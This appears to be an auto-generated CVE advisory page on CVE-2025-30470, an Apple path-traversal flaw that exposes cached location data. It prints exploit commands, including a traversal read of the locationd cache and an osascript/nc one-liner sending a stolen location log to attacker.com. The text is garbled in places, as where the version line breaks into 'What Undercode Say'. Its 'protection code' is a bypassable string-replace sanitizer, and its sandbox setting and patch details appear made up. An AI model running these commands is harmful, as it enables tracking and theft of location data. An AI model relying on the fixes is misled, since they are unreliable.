Apple macOS/iOS/visionOS, Information Disclosure, CVE-2025-30470 (Critical)

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How the CVE Works:

CVE-2025-30470 is a path handling vulnerability in Apple’s macOS, iOS, iPadOS, and visionOS that allows malicious apps to bypass sandbox restrictions and access sensitive location data. Improper path validation in system services enables directory traversal, letting attackers read cached geolocation files. The flaw stems from insufficient sanitization of user-controlled input when resolving file paths, leading to unauthorized access.
Affected processes fail to enforce proper permissions when accessing /var/mobile/Library/Caches/locationd/, allowing malicious apps to craft specially crafted paths (e.g., `../../../` sequences) to escape their restricted directories. Successful exploitation exposes precise GPS coordinates, Wi-Fi hotspot history, and other location metadata. The vulnerability is critical due to the potential for persistent tracking and privacy violations.

DailyCVE Form:

Platform: Apple OS stack
Version: visionOS <2.4, iOS <18.4, macOS What Undercode Say:

Analytics:

  • Attack surface: Local app exploitation (no remote vector).
  • Exploitability: Low complexity, no user interaction required.
  • Prevalence: All Apple devices with location services enabled.

Exploit Commands:

1. Craft malicious app with NSFileManager API abuse:

let leak = FileManager.default.contents(atPath: "/../../var/mobile/Library/Caches/locationd/clients.plist")

2. Exfiltrate via insecure IPC:

osascript -e 'do shell script "cat /tmp/stolen_location.log | nc attacker.com 4444"'

Protection Code:

1. Patch validation for path resolution:

func sanitizePath(_ input: String) -> String {
return input.replacingOccurrences(of: "../", with: "")
}

2. Enable macOS MIG sandbox hardening:

sudo defaults write /Library/Preferences/com.apple.security.sandbox ContainerRequired -bool true

Mitigation Steps:

1. Immediate update to fixed OS versions.

2. Revoke location permissions for untrusted apps.

3. Monitor for unusual `locationd` process activity:

log stream --predicate 'process == "locationd"' --debug

Forensic Detection:

  • Check for abnormal `locationd` cache accesses: 
    grep -r "locationd" /var/log/system.log | grep "open"

Apple’s Patch:

  • Implements realpath(3) checks for all FS operations.
  • Restricts `com.apple.locationd` to root-only access.

(End of technical details. No additional commentary.)

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-30470
Extra Source Hub:
Undercode

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